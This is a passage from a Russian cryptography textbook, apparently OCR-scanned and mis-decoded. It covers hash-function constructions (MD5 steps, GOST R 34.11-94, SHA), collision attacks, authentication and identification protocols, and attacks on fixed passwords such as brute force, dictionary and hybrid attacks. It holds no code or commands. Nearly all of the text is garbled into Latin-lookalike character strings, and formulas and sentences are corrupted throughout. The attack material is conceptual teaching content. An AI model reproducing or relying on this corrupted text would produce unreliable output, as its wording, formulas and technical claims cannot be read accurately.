HEBO3MOIKHOCTS  OMPE/CICHIAL KImo4a, YOS e
dymameli, TaK KaK IHAMHC KITIOYa JAeT BO3MOXH!

£
3HAYCHHME CBEPTKH A moboro Habopa AAHHBIX.

MOryT C’rpOHTbCSI Ha OCHOBC anro-

- () yHKIAH
Kmouessie Xom-QyH Touga OUHOWArOBa CKUMAIONA

purmoB 610MHOTO nmmpoBaHui.
¢ysxums Gyaer umeTb BAL.
f(xH) = Exx® H),
rae By — anropat™ Gaounoro mudposaHM.

TTHEACTABN
e pRrUMCICHES 3HAUCHUI (M) coolenue M .;,eﬂi'drﬁ
o n-6uToBHIX OIOKOB M;, M, ...

Hos
HOCTH .
oA B G e A eHua He KpaTHA JJMHE 650K, 10

My,. Eci mps aTOM JUHHa coo0L

V)
OKa. ANrOpHUTM BEHUMCICHHSA CBSPTKH FMeEET CIEAYIOn

nonHoro 0

B
He=0,
Hi = Ek(Mi@Hi_ﬂ, i= l, ey N,
h(M) = Hn.

HHM urMe mHdposi
7 CCMOTPSHHOM HaMH ajrop
0CT 281 B amacr M BHIPaOOTKH HMUTON

T 28147-89 HA3HIBACTCA PEKHUMO !
I;TH:BI;OP? OTIMHACTCA OT pexuMa uypoBaHMs BABOS MEHBIIMM i

JIHYCCTBOM IHAKIIOB.

% OCHOIM
Kmogesbic xom-QyHKIMHM MOTYT TAKKE CTPOUTCH Hgﬂaqeﬂm
HECKITIOICBEIX XM~y HKHH. IIpu aTOM AIA BLIYHCIICHHS
ec -
CBEPTKH KIOT MPHIHCHIBACTCHA K HCXOIXHOMY COODIICHHIO

(8] CIL I
4

HAIBHMM

XOTHOTO coobuieHus, T0 3T0 MOJXKET TIPHBECTH K HOTSHII; pan
c1aboCTaM, TO3BOLTONMM B HEKOTOPHIX Clydasx OcCy

? “

MOADHKALIIO COOOMEHHH.

TTycrb, HAIpHAMED, K

cornacao Gopmyne h(x) =

1ou k noGasigercs K Hadaly coobmeun
h(k,x). Ecrma qymiams h mocTpoeHa
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OCHOBE OAHOWIAroBOM CxkuMaromeii QyHKUHH, TO MO H3BECTHBIM
sHayenmaM M u H = h(k,M) MOXHO BBYMHCAATE 3HAYMCHMA 3T0H
Gyaxums sy mobstx coobmennit Buaa (M,M') ¢ gormcansasM npo-
H3BOJILHBIM OKOHYaHueM M. 310 0OBACHAETCA MTEPATHBHOCTHIO
NPOLEYPH! BEYHMCICHUS (DYHKIUH, B CHTy KOTOPOH AN HaxOXzIe-
i 3aaueHus H' = h(k,M,M’) ue tpebyercs 3nanue kmova k, mocra-
TOYHO BOCHONB30BATECA YIKEC BBLIYMCICHHBIM <«IIPOMEKYTOYHEIM»
snauenueM H. Ilostomy Takas Qysxoma He yeroiausa x MoxudHka-
UMH.

B cnywae xorpa ko4 A00aBISeTCA B KOHEL COOOIMECHHS CO-
rnacHo dopmyne H = hy (M) = h(M, k), 3uaune xommsm s Gyux-
i h, 10 ecTs maps x;, X3, X; # X2, TaxoH, wro h(xy) = h{x,), mo3sos-
¢T BRIYHCIIITE 3HaweHud h(x,.k) = h(x, k) s moGoro xmroua k. [lo-
1TOMY TPYAOEMKOCTh MoaupuKanmu coobmenns M = x; oucHuBacT-
1 HE BenmuuHOH 2°, @ CPaBHEMA € TPYAOCMKOCTBHIO IIOMCKA KOJUIH-
WK, OLIEHMBAEMO# BelmauHoHi 272

B cBs31 ¢ 3THM GoJiee HPEANOYTATENBHBIME ABJISIOTCS CIIOCO-
Onl, PH KOTOPHIX KIIOY BCTABIACTCA B COODIICHHE HE OJWH, a, NG
kpaitHei Mepe, J18a pasa.

HenoctaTkoM Takoro Merona TaoKe SABIACTCH CIIHIIKOM
DobmAas JIMHA CBEPTKY. Jleno B TOM, UTo ANs ueseil npoBepky ue-
NOCTHOCTH OOBIMHO BHIOMpAXOT AjIMHY CBEPTKH B mIpejenax 32-64
OnT, a Ans ayreHTHOUKALHHA HEOOX0MMMO yenoBue n>128.

Ha sToM paccMmotpenue 3anadd OO0ECHCYCHHS IEJIOCTHOCTH
MOXKHO 3aKOHYHMTB, HO MPEXJE YEM HCPSXOMUTh K CASAYIOMEH 3axa-
“¢ xpurrrorpaduu 3aBEpIIUM TEMY X31I-(DYHKLHIA.

2. BecknmioueBbie X31-hyHKIHM.

O6bryto Tpebyercs, urobbr Oecxinouesbie xom-QyHKIHE 00-
KJIATH CIEAYIOMMME CBOHCTBAMH:

—~ OJHOHAIPABICHHOCTD;

~ YCTOHYHBOCTE K KOJLTH3HAM;

— YCTOHYHBOCTB K HAXOXMJICHHIO BTOPOTO mpoobpasa.

O1H TpeOOBaHMUA O3HAYAIOT, COOTBETCTBEHHO, BHICOKYIO CJIOXK-
NOCTh HAXOXACHUSA COOOIICHMS C 334aHHbIM 3HAYCHMEM CBEPTKH;
Hpsl COOOINEHUM C OAMHAKOBbLIMM 3HAYCHWSIMH CBEPTKHM; BTOPOTO
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o coobme-
IS 337AHHOT

e 3HAUCHHUCM CBEPTKH

coobmenHus ¢ TEM

CTHBI €M CBEPTKH. }
e l;;amnpume; 3)}::::;;{(““ CRC-32, mpeAcTasisiomai coboit

X CBOHCTB.
HOMY H3 ITHX TPE ]
OBJIETBOPACT HH OX X 0 e pac
o Itllzgonnbaonanne 5 KauecTBe GECKIIOICBOH xom-PyHKIHH,
CMOTPEHHOH B IIPEABITYIHEM npuMepe @yﬂl;mnmn péﬁ(ﬁMe oy
ope anropuTMa §I0qHOrO pmdpoBaH e
Zcmmmc'rasm rafoKe HEIEenecoo0pasHo, Tax THM

p 3

¢ oBImEeH3BECT-
i PUKCHPOBAHHOM
sHAYCHIS CBEPTKY 1P
uia Eoboro 3H

HOM Knloqe;'[oc’rpoeﬁym mpuMepa X310-(HyHKIHHA, yn(:?:‘eo'mgpnﬁiiz
nsnﬁcgl"” O/IHOHATPABICHHOCTH, paceMOTpEM %,!;;q;“;m iy
CBOHCTEY (x)=Ek(x)®x, e By, — auroput™ 079 O o
o o ps ABIACTCH OAHOHANPABICHHOH I 20
BMH;:MMH%)z:OKSy Ha €c OCHOBE MOXHO OCTPOMTE

TyME .

HOM
yHKIIO onpeenB OJHOMATOBYIO CHRUMAIONTYIO HYHKIHIO O
w3 cieayrompx opMyTt:
f(x,]) = Bu(x)SX uid
f(x,H) = EH)SH.

— B OCHOBE aMC
FOCT P 34.11-94, a sTOpas
i mm.q)cy;flunf;ﬂa SHA (Secure Hash Algoritm). e
pmﬂcl;mr:ccnﬁcxom cTaHgapre aas Xam-( yHKIHAX npymme(x’H)’ by
s N "-1:11 = 512. OpsouraroBas cxamaronias HymKins

a1 Hi
CIICHHA IIOCIICllOBaTCIIbHOCTI/l 3HAUCHHM i

64 Oura.

pzauaK oo
CambiM pacnpocrpaﬁengIM anropwmz\aom er::mmg e
i xom-QyHKIpAY Hl CeroMHAImHIN AC o toctn
TSy KaK IS pelneHus 3aad obecneycHUA I
Ero ucmoib3yioT
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coobmennit (coBMecTHO ¢ dynkumamu mudpoBaHus), Tak Aas oOHa-
pyxenus omubok npH nepesaye paiinos wepes cers MarepHer.
AJIropuT™ BEIMHCICHHS. CBEPTKH Pa3OuT HA JISTh ITAIOB.
Invan 1. Jiobasnenne nesnavamux Guros. K caopaunsacMomy
coobmenuro gobasnsercs kox 10...0. Yucno Hyne# onpeaensercs u3

YCIOBHMSA: OCTATOK ACICHHS JANMHHBI JONOIHEHHOrO COOOIICHHA HA
512 nomwxken 6piTh paBHbHIM 448,

Jran 2. JlobaBaenue anunnl coobmenus. JInmuHa HCXOQHOrO

cooOmieHHs, A0 NeEPBOrO 3Tama, MNPCACTABAseTcs B Buge 64-
Pa3PSAHOrO YHCHA.

Oran 3. HMammammauus MD Gydepa. B ugernipe 32-
paspsgHbLIe CIOBA 3aHOCSTCH CIELMANLHAIE KOHCTAHTHI, HA3BAHHbLIE
_pa3paboTINKAMH MATUYCCKHMH.

Jtan 4. O6paborka coobuenus. Muvumanuaupyrorces 4 yHk-
MM, Kaxas H3 KOTOphIX npeoOpasyer TpH 32-OMTHHIX C/IOBA B
oano. Kaxapiit 512-paspsansiii 6ok coobmenus noouepeaHo odpa-
GaThiBacTcs BCceMH YHKIMAMH BMECTE €O cnoBamu u3 Oydepa. Ho-
sble 3HA4CHMA A00ABISIOTCH K MPEBIAYIOHM 3HAUCHHUAM, XPaHsi-
wuMcs B Oydepe, u anropu™ nepexoamr x 00paborke creayromero
512-paspsasoro 6moxa.

Jran 5. BriBon pesyavrata. Cozepxnmoe Gydepa Brmactres
KaK Pe3yNbTaT CBEPTKH MuHoH 128 Our.

BapuanTer arak Ha x3m-pyHKIHH,
Ipocrerman aTaka ¢ HEIBIO COZMAHAN NONAEIBHOIO Co00IE-
NMs, IPUMEHMMas K 000 X310-()yHKIHM, COCTOMT B CICAYIOLIEM.
1I0yMBIILICHHYK MOXET OCYIRECTBUTEL I'CHCPALHIO HEKOTOPOro YHC-
na (ry) cooOIMECHUH, BRIYMCIMTE 3HAYCHUS HX CBEPTOK M CPABHHTH
NOIYSUBIIMECH 3HAYCHUA C H3BECTHHIMH 3HAYCHMAMH CBEPTOK HEKO-
10pOT0 MHOMKECTBA (M3 r;) MEPCAAHHBIX paHee COOOmeHMi. Araka
OKDKETCH YCHEHIHOH MIPH IOYYEHHH XOTS OB OZHOrO COBMAJCHHA.
eposTocTs yerexa P MoxxHO onenuTs 1o dopmyie:

nn

le-—e 2"

rae n — AJAHHA CBEPTKH, € — OCHOBAHHE HATYPAJLHOTO JIOra-
pupma.
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H BC OA-
Tax xax CONBIMMHCTBO XM~ yHKIHH crpo;rr::ﬂr;i (():;1;(3)5 aT,:K
K wif, TO AMECTCA T

OBBIX Maromyx GyHKIHH, =z
Homarm-q;yﬂmmo C aTaKAMH HA COOTBETCTBYIOMIYIO ommx::glanzz
Hma xsalomyto dynxwmo. B 4acTHOCTH, FIOCIICAHSAS noan:G e

([:[paKI‘PI‘!CCKI/I BCEMH TEMH )K€ CBOHCTBAMH, KOTOPHIMH OOTIAK

cama xomi-Qy KA. e
ax;I (b;:ummii cnocod mOCTPOSHUA xoui-QyHImH TI03BO et

s ¥ VT TIOCTPOCHHH KOJITH3HH, HCIION

@HOrIA, TpH e¢ o0pame i, wone!
AATH METOJL «BCTPETH JIOCCPEIUHCY . Jipts 3anETHL OT ITO OCTH

onbHON
B KOHIE COOOMICHHS OOBITHO JOTACHBAIOT GIOKH C KOHTP
7 it COOOIEHHA.

CYMMOI1 ¥ AAMHOH COO .
™ Bo3MOsiHH aTaKH, HCIOMB3yI0mHe cnaboctr TEX cn a o
3¢ KOTOPBIX HOCTPOCHM XMW~ yHKIAH. Hanpume‘f, ;x;max ocrpﬁmuﬂom
wonmauii xom-QyHKIm, OCHORAHHBIX H3 anr p6m_m.).‘ K}noqeﬁ ore
;HI;@i);Bam, MOKHO HMCIIONb30BATh HAIHIAC chlaam-0 vy
oficTrO goNONHEHUA (KaK ITO HMeeT MECTO Y p1»1"1‘1~4K(mm’131,Iﬂ
CquHe HETIOABIDKHEIX TOUCK (Ju1st KOTOPHIX Ex () = %), g
N o i

I::moqeﬁ (10 €CTh TIap Pa3HIHBIX JUTIOgEH, A1 KOTOPBIX BHIITOTHA

cA PaBEHCTBO Eu(®) = E(®) B T. I.
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I'JIABA 11.
Komnbrorepran xpunrorpapusi. Obecneuenue ayrenTupuKanus

HamomemMm onpeaenerne Tperselt 3anaun kpunrrorpaduu:

ObGecnewenue ayrenTuuamum — paspaborka Meronos
NOATBSPIKACHUS HOJIMHHOCTH CTOPOH (uiaeHTHbUKALMA) H CaMOH
uHdopManEH B nporecce HHGopmamHonHoro B3aumoelicrena. Mn-
(opmarms, nepesaBaeMasi o KaHATy CBA3H, AOJUKHA ObITH AyTCHTH-

(pHmpoBaHa MO MCTOYHHMKY, BPEMCHH CO3JAHHA, CONEPHKAHUIO JaH-
HbIX, BPEMCHH NEPECHIIKH M T. A.

Wrak, ayrentndmkanusa — 3T0 YCTAHOBICHHE IIOTMHHOCTH.
B ofmem cirygae 3TOT TEPMHH MOMET OTHOCHTBCSI KO BCEM aCIICKTaM
HHGOPMAITMOHHOrO B3aMMOJICHCTBHA: CEAHCY CBA3H, CTOpOHAM, IIe-
pCAABaCMBIM COOOIICHMNM U T. X.

VYeranornenne noxnusHOCTH (TO €CTh NPOBEPKA H MOATBED-
IIEHHE) BCEX ACHEKTOB HH(OPMANMOHHOIO B3AHMOACHCTBHA ABIIS-
¢TCA BAKHON COCTABHOM YacCThIO 33Ja4H OOCCIICUCHHA JOCTOBEPHO-
crd moixydaemod uadopmaipm. AyreHTuduykanmsi 0cOOCHHO BaxHA
AN JOBEPSIOIMX JPYr IOpPYry CTOpPOH, KOTAA HCTOYHHKOM YIpo3
MOXET CIYXKHTh HE TOJLKO TPEThA CTOPOHA (IIPOTHBHMK), HO H CTO-
{)0Ha, C KOTOpPOH OCYMECTBIETCA B3aUMOACHCTBHE.

TpuMeHuTebHO K CeaHCy CBA3H (TpaH3akiuuy) ayreHTH(uKa-
1M O3HAYAET LPOBEPKY: LEIOCTHOCTH COCAMHCHMS, HCBO3MOKHOCTH
NOBTOPHOH NEpEeAayy JAHHBIX NPOTHBHUKOM H CBOCBPEMCHHOCTH
nepeaayuy gassbix. s 310ro, Xak npasuiio, UCTIONbL3YIOT AOONHH-
ICIBHBIE TIAPAMETPH, IO3BOISIOIME «CLICIIHTh» HEPCAABACMEIC XAH-~
1bIC B JIETKO MPOBEPSEMYIO HOCICAOBATEABHOCTh. ITO JOCTHIACTCS,
NaOpHMep, MyTEM BCTABKU B COOOINEHMS HEKOTOPHIX CIICLHAILHBIX
YHCEN My METOK BpeMcHH. OHY NO3BOJIIOT NPEAOTBPATHTD HONBIT-
kKH TIOBTOPHOM NEpeAayH, H3MEHCHUS NOPANKA CICAOBAHKA HIM 06-
pRTHOM OTCHUIKH YacTH mepesaHHbix cooOmenwit. Ilpu s1oM Takue
NCTABKYM B IEPEIaBacMOM CCOODLICHHH HEOOXORHMO 3aIquinaTh (Ha-
HPUMED, € TIOMOIBIO MIM(POBAHUAL) OT BOZMOMHEBIX NOAAENAOK M HC-
KIKCHHIA.

TIprMeHMTENbHO K CTOPOHaM B3aUMOACHCTBHA ayTeHTHHEKA-
I\ O3HAYACT NPOBEPKY ONHOH H3 CTOPOH TOTO, ¥TO B3AMMONCHCT-
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BYIOIaA C HEW CTOPOHA — UMEHHO T4, 33 KOTOPYIO OHA ceOs BRLAAET.
YacTo ayTeHTHOHUKALPIO CTOPOH HA3BIBAIOT TAIOKES HACHTH(AKAUHE.

dopMaEHO 3TO HEKOPPEKTHO, TAaK KaK MO HacHTH(MKAmeH
TIOHUMAIOT TPOHEAYPY YCTAHOBICHHSA IPHCBOCHHOTO JAHHOM CTOpO-
HE VHUKAILHOTO CUCTEMHOTO MMEHH-HACHTH(HKATOPA, KOTOPOE 10-
3BONSICT OTIMYATH €¢ OT Apyrux cropoH. OCbrHO uacHTHOUKALHA
3aKTIOYACTCA B MPEABABICHHAHN 3TOT0 MMEHA H MPEAMIECTBYET IIPO-
HEAYPE AYTCHTH(OHKAIMA, TO €CTh NOATBEPIKICHHIO MPABMIIBHOCTH
uaesTHOUKAIHN.

Tpumennrensno x camoit uHdopManuy ayTeHTAQHUKALHAA O3
HAYACT MPOBEPKY TOrO, Y10 HHGPOpPMansy, nepeasacMast o Kasany.
SBJISCTCA MOJIMHHOM 110 COACPIKAHUIO, KCTOYHHKY, BPEMCHH CO3L
HUS, BPEMEHH HEPECHUIKY U T. 1.

Tposepxa nOXNUBHOCTH COAEPXAHUS MHMDOPMAHY CBOJMTCY,
O CYTH, K HPOBEPKE €6 HEHM3MEHHOCTH (C MOMCHTA CO3JAHMA) I
IIPOLECCE MEPSAAYH FITH XPAHCHHA, TO €CTh HPOBEPKE LENOCTHOCTH.

Ayrenrrduraims UCTOUHHKA AAHHBIX O3HAYACT MOATBEPIKIC
HHE TOrO, YTO UCXOAHEIH JOKYMEHT OB CO3JaH MMEHHO 3asBlcH
HBIM HCTOYHHKOM.
Ecmu cTopoHnl XOBEpAXOT APYT APYry W 00nazaior obmmm
CEKPETHBIM KIIOYOM, TO AYTCHTH(HKAIMIO CTOPOH MOXHO obecuc
YHTH IPHEMECHEHNEM Koma ayTeHTruKay. JIeHCTBHTENBHO, KAk
YCICINHO JACKOAUPOBAHHOE TMONYYATENCM COODIICHME MOXKET Obiin
CO3/{AHO TONBLKO OTMPABHTENEM, TaK KAK TONBKO OH 3HACT MX obmum
cekpeTHn Kiro4. [{ng He JOBEpAXOIMX APYT APYry CTOPOH peni
HHE NMOAOOHKBIX 3324 ¢ KCIOIb30BAHUEM OOIMIEro CEKPETHOTO KL
cTaHOBMTCA HEBO3MOXHBIM. TlosToMy npu ayremrrduxamms ucron
HHKA JAHHRIX HY)KCH MEXaHH3M 1M (POBOH MOAIMICH, KOTOPHIH Oy 11
paccMOTpeH B CICAYIONCH TIase.
B nenom, ayrenTudnkanys HCTOYHUKA JAHHBIX BHITTONHACT 1)
K€ PONib, YTO M NpoTokon HacHTHuKaumn. OTnHume 3aKM0Yact v
TONBLKO B TOM, MTO B YIEPBOM CIIydac UMEETCS HEKOTOpas Tiepeaanu
Mas urdopManma, aBTOPCTBO KOTOPOI TPeOYyeTCs YCTaHOBHTH, a I
BTOpOM TpebyeTcs NPOoCTO YCTAaHOBHTL CTOPOHY, C KOTOPOH ocyiy
CTBAAETCH B3auMOeHCTBHE.

Jlia npoBeneHus ayTeHTH(MKAMHY UCHONB3YIOTCS CHEIHA
HBIC TPOTOKONB! HMACHTH(PUKALHM, [O3BO/LIOMHE OCYIIECTBII
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Bcee TIPOTOK O
<on: Pl HACHTUUKAIMY BRTHOYAK0T ABYX yuacTHM-
1) A — noxazums
aKomero ——
TuHKaLHIO; HEr0 — yuactauxa, NPOXOmAmeEro maen-

2)B — npos
Cpaiomero —
THIHOCTS JoKaskiBaromero, Y9aCTHEKA, ApoBepsromero ayTeH-

Uemsro IPOTOKONA &
. BJISCTCH OB
MEIM JCHCTBHTEINbHO B 1sieTCH A MIPOBEpRA Toro, WrO Iporcpse-

KOBAX KAPTA, WM mpyGo
em napoz, TIpHOOp, renepupyionuiz MEHAIOmHECH Co Bpeme-

3. Hporokomy HCIIONh
- He bus KH

210K33HB&IOII(BI‘0.
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amh-
B KaueCTBE TAKOBBIX MOTYT BEICTYTATh MOAMMCH, OTIICUATKH
JIeB, XAPAKTCPHCTHKH rooca, reoMeTpHs pyKH u T. A-

kd

i s obec-
Oxuolt U3 OCHOBHBIX ICICH upenTHdUKAIIH ABASECTC obee.
[IEJEHHUE KOHTPONs AOCTyNa K OMpPEACTCHABIM PECypcaM, Taxn.x;rep
OaH 3 HHBI OMITh -
KOBCKME CUCTa, TENEKOMMYHUKAIHO cogpx;f;zx;: :”‘ pr
bIX, 34AHASL, A
X orpaMMBb, Oa3bl JAHH : _
3;;2:;2 TaIOK,G OGHIYHO ABIAETCA HEOTHEMICMOU 4aCcThHIO NPOTO
0Jia PaCTpEACICHIs KIH09CH. )
© pl'Iprgr)roxonm AACHTHDHKALAH TECHO CBAAMM C npo;gﬁo:a:&
unbpoBoi TOANMCH, HO npowme ¥x. Ilocrmepsue ongae;o};ronB g
HHUIO COODIIEHHSIMH ¥ OOBI KJIIOTAIOT
HSTFOIAMHECS TIO COACPNA T
3JIEMEHTHI, 0DECIEYABAIOIHC HEBOZMOKHOCTH OTKa3a OT noézm ”
?
goro coobmenus. [l MPOTOKONOB uaeHTAQHKALIAH conepxcaH06 "
; — JICHH! -
MKCHPOBAHO — JT0 3438
coobmienus, MO CyIIECTBY, b - ©
TCHTHYHOCTY JOKAZHIBAIOMETO A B TeKyL(Hii MOMCHT BPEME

H.
I1poTOK0JIBI paenTudHKALH
HKca-
1. C ¢uxcHpoBaHHLIMH napoasmu (cnabas uaeHTHD
ust).
o) O6nuHasi TaponbHas CXeMa. OCHOBHIBACTCS HA HE 3aBHCAUNX
M.
OT BpEMEHH MApONsX K yCTPOCH crepyrouum 06paso A
st K2KAOTO MONB30BATEIL HMEETCs Tapoitk, e e
CraBIOnAi coBOH HOCIEA0BATENBHOCTD JsMHOH oT 6 10 10 smaor
. L%
andasura, KOTOPYIO [IONB30BATEND B cocms;rgm wré:‘n:p .m o
; ero -
CTyNaeT B Ka4eCrBe OOMY
HOCTAEAOBATENBPHOCTD BB T
£Oro Yro0OBl MONY4HTh AOCTYI
sosaTens H cHcreMe. Jlix x CHOTO
momy pecypey (6a3a JaHHBIX, [pHHTED M T.A.), TONE30BA KOCBrxpecHHO
crapaser CBOH uacHTHUKATOp Y napons M IpAMO ;“n:amp o
7 CHTH
# pecypc. IlpH 3TOM ui
onpeAcIseT HEOOXOMUMEL o
3§§a1enﬂ BHCTYIIACT KaK 3asBKa HA uacHTAQHUKAIMIO, & 1apo -
KaK TIOATBEPAACHHE ITOH 3asBKA. PasnuuHbie NApONBHBIE CX m{,
n B
OTIEAIOTCA MEXAY Co00H No METOA2M XpaHeHus TAPONBHO
dopmauEH B CHCTEME H METOLAM C¢ MPOBCPKH. -
B umcio yrpo3 AAHHOH CXEME unenTudrrauy, J0My! -
X BO3MOMHOCTD TPOHUKHOBCHHA B CcHCTEMY, BXOAAT PACKPHITUC
CBA3H
napossi (BHE CHCTEMBI) M HEpEXBar padopManEy ¢ THHUHA
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(BHYTpH cHCTEMBI). YTPO30H ABIAETCS TAKOKE ONPOOOBaHHUE MApOeH,
B TOM 9HCIIE C HCIOB30BAHHUCM COBApCH:

OcrasoBuMcsa NoapobHES HA METOAAX XPaHCHHS Naposeit B
cucreme. Hanbonee OueBHAHBIM W3 HHX SBIACTCE XPAHCHHE APOTCH
B OTKDBITOM BuAC B (aiie, 3aMUIEHHOM OT 3aIIHCH M CHHTHIBAHMS
cucTeMBRIMH cpeacteamu. [Ipu oOpainenuy monb30BaTeNs CHCTEMA
CPaBHMBAET BBCACHHBIH MMApONb C MAPONEM JAHHOIO TOTL30BATEIA,
xpannMeM B daiine. HegocTarok 310oro Meroaa COCTOHT B TOM, YTO
DApOTM HE 3AUTMINSHE! OT NPUBHIICTMPOBAHHLIX [TOAB30BATENEH CHC-
TEMBL.

JU1a ycTpaseHHs 3TOro HEROCTAaTKa HCIONB3YIOTCH 3aimudpo-
saunbie daiine naponeH noms3osarencii. ITpu 3ToM MoXxeT HCHOML-
30BaThCA MO0 HENMOCPEACTBEHHOE muGpoBanue maponeit ¢ moMo-
MBIO TOrO MJH MHOrO Kpunrorpadryeckoro amropurma, mbo Bhi-
YHCICHUE 3HAYCHHS XOMH-QYHKLIAW HApOIi. JaMETHM, 4TO HCHOIb30-
pauue mudpoBanis nepex nepeaadcii Napoid MO HE3AMUTICHHOMY
KAHATY CBA3H XOTA M 3AMINACT CaM IAPOik, HO HE 3aHMINACT OT
BO3MOXHOCTH BXOKACHUA NPOTHBHUKA B CHCTEMY IIYTEM HaBi3HIBA-
HMS ICPEXBAYEHHOTO 3aMH(pPOBAHHOrO Naposus.

OcHoBHbIe MeTOABI ATAK HA (PUKCHPOBAHHBIE NAPOJIH.
1. HoBTpoHOE HCHOIE30BAHME HAPONCH MONYICHHEIX:
— IyTEM IPOCMOTDA NPH BBEACHUH C KJIABHATYDHL,
— MYTEM HOTYYECHHS JOKYMEHTOB, COACPKAIMX 3TH ITAPONH,
— NyTeM DEpEXBara MX H3 KaHAIOB CBA3H, HCIOIB3YEMBIX
HNOJb30BATCIAMH JUIA CBA3H € CHUCTCMOM, MM H3 CAMOH CHCTCMEL,
NOCKOABKY [IAPOJIH HCHONB3YIOTCE B OTKPRITOM BHIE.

Bce 310 faeT BO3MOXKHOCTS NPOTHBHUKY OCYIIECTBUTH JOCTYT
K CHCTEME, HMMTUDYS 3aKOHHOTO MOIB30BATEIA.

Taxum 00pa3oM, GUKCHPOBAHHKIE MAPONH HENH3A MCHONLIO-
BaTh B CAYYAC HX MICPEAAYH HO HE3AIMUIIEHHBIM KAHANAM CBA3H.

2. Iocnexosatensupiii nepebop naponeii.

Ipocreimeit aTakoli MPOTHBHUKA HA CHCTEMY ¢ PUKCHPOBAH-
HBIMH IAPOJSIMY ABJHICTCH NEPeOOp BCEX BO3MOKHEIX BapHAHTOB X0
TEX MOp, MOKA HCTHHHBINA Hapons He Oyaer Halaen. Ocobenno omac-
Ha 31a araxa B pexume off-line, mockoneky B 310M Ciiydae He Tpeby-
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€TCS HEMOCPEACTBEHHOIO KOHTAKTA JOKA3BIBAIOINErO C IPOBEPSIO-
KM, H TIO3TOMY YHCIIO Oe3yCHEMHBIX HOIBITOK MPOBEPKH IAPOIA B
€AUHHILYy BPEMEHM HE MOXET ObITH OIpaHHYCHO, KaK 3TO OOBIYHO e~
JaeTcs IpH IPOBEPKE B pexuMe on-line.

O dexTHBHOCTD YKA3aHHOH aTaky BOPAMYIO 3aBHCHT OT 9HC-
71a TIOMBITOK X0 OOHapyX(eHHS NEPBOro Napoins, 00ecNedHBaIOIEro
JIOCTYII B CHCTEMY WIIH K €€ PECYPCY, a TAIOKE OT BPEMEHH, 3aTpauH-
BacMOT0 Ha PCAM3ANHIO KAKAOH U3 IOIBITOK.

3. Ataka ¢ IOMOMIBIO CIOBapA.

Bmecto nocnenosatensHOro nepedopa BCex BO3MOXKHBIX KOM-
OuHanmii maponeit Kpakep MOXET NpHUGETHYTh K aTake ¢ IOMOINBIO
Gaiia-cnoeaps, coaepxaiero HanboIee YaCTO BCTPEUAIOLHECS N1a-
POITbHBIE KOMOHHALIMM H IPOCTO NEPEUCHD CIOB. ITOT METOX MO3BO-
JIMT CYyNIECTBEHHO COKPATHTh BpeMs Ha MOXOOp mapous, eCM Naponb
IIONTb30BATEN €CTh B CJOBApE.

Cnosapnas aTaka MOXET ObITh PaCIIMPEHA 33 CHET HCIOJIB30-
BaHus QyHKUHEH IEPEBOPOTA CHOB, UX TPAHCIHTEPALHH, CMECHBI pac-
KIQJKy U T. 1.

4. I'nbpuanas ataxa.

IpeacraBnser cobOi KOMOHHALMIO aTAKK C MOMOLIBIO CIOBA-
PA H aTaK¥ OCNICAOBATEIbHBIM IIepe0opoM H 3aKmiogacTes B 1o0as-
JEHUM K HAYay H KOHILY CIOBA H3 CIOBap:A HEKOTOPOTO KOIHYECTBA
MOCTICAOBATENLHO IIEPEOHPACMBIX CHMBOJIOB.

INockombKy CTeneHb 3aIMUTH YKA3AHHOH CHCTEMBI OMIPEHE/s-
€TCS CIOXHOCTBIO Iepebopa mapodeii, T0 Ha MPaKTHKE HCIIOIb3YeT S
LENbIH P MPHEMOB Uit YCHOXHEHUA MPOTHBHHKY 3TOH ITPOMEAY-

pEL

Hpasnna cocrasiienus: napodeii.

1. OrpaBvdeHus 110 MHUHMMANGHOM JUIMHE H _COXEPXHUMOMY
HApoJA.

Hanbonee Tummmeie TpeboBaHusi, NPEABIBISCMBIC NPH CO-
craeneHuu naponeii. IIpaMepom Mosker ciayxute TpebosaHue, 91O~
651 aponp UMENR ANMHY HE MeHee 8 3HaKOB 1 coxepixan B cebe nud-
pal 1 GyKBbL M3 Pa3HBIX PETHCTPOB, a TAakKe TpeboBaHuE, YTOOH Na-
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POIb He Mor GBITh COBOM M3 HMeOmerocs CIIOBaps HIIH YacThIO
HACHTH(DUKALMOHHOL urdopmarm JOKa3bIBAIOIErO.

OueBnano, wro caoxsocTs IPOHHKHOBCHHS B CHCTEMY OTIpe-
ACIACTCS CIOKHOCTRIO NpOCTeHnero u3 NapoleH 3aperHCTpUpoBanH-
HBIX Honbsosatenci. Jlyummumu w3 Bo3MOXKHBIX IApoONeH ABIsIOTCH

T€, KOTOpEIE BI:IGHpaIOTCX CIy4aliHO M PaBHOBEPOATHO C IOMONIBIO
AATIHKA CHyJaHHBIX Yucesn.

2. Ycnoxuenue NPOLEAYPEI POBEPKY ADOIEIH.
Hnst Toro 9T06H yenoxmuTh aTaKy, BKIIOYAIOMHKE OmposoBa-

HHe 6OnbINoro Yucna naponei, dynxuus, obecniegnsaiomas npoBep-
Ky napoinei, Moxer GHITb yCaoxkHeHa yTEM NPHMEHEHHA HECKO)Ih-
KX yrrepanii Gonee mpoctaix dymkimmii. Bmecre ¢ TEM YHCIIO 3THX
HTCPAUHH HE JOJLKHO OBITH CIHOIKOM GonbimaM, yTo6H He 3arpyn-
HHTDL JIOCTYIl B CHCTEMY 3aKOHHBIM I1OJTb30BATEJIAM. Heobxommmo
TakKe CACAUTH 32 TEM, ITOGHL B PE3yABTATE STHX HPOLEAYP HE Yrpo-
CTHIIACh 33129 ONPERECICHMS TAPosicit.

3. Ilaposbasie ppaszpi.

Hoa TOro 4TOOH yBENHUHTS HEONPEACNECHHOCTh HCIONB3Ye-
MBIX TIZDOICH H BMECTE € TEM HE HAPYIIHTH TAKOE HX BDKHOE Kaye-
CTBO, KaK BO3MOXHOCTD 3aIOMHHAHH YCIIOBEKOM, HaCTO HCIONB3Y-
10TCH iaponbHbic (pastl. B aToM cityyae B xakecTse HapOJIs HCHIOMb-
SYCTCH LENO0C MPEATOKEHHE BMECTO KOPOTKOTO CJIOBA. Iaponsuee
(ppassi CHREMAIOTCS X3I-QyHKUHAME H HONy4CHHBC CBCPTKH UG-
NI0TIb3YIOTCS B kavecTBe O6BMHOrO mapons. Unes sroro METOxHA CO-
CTOMT B TOM, YTO YE€NOBEKY JIEr4e 3aIIOMHHTD dpasy, uem cnyqaii-
HYIO TIOCHELOBATENBHOCT: OYKB WiaH undp, a pesyasrar CBEpPTKH
npeacTaButeT coboii aTy CIy4aiiHyIO 110CIEeA0BATENHHOCTD. Iapoms-
HBIC (pasu obecneuanBaroT Gompmyro 6e3omacrocTs, yem KOPOTKME
napomH, Ho TpeGyIoT 6obImero Bpemeny s BBOAA. ,

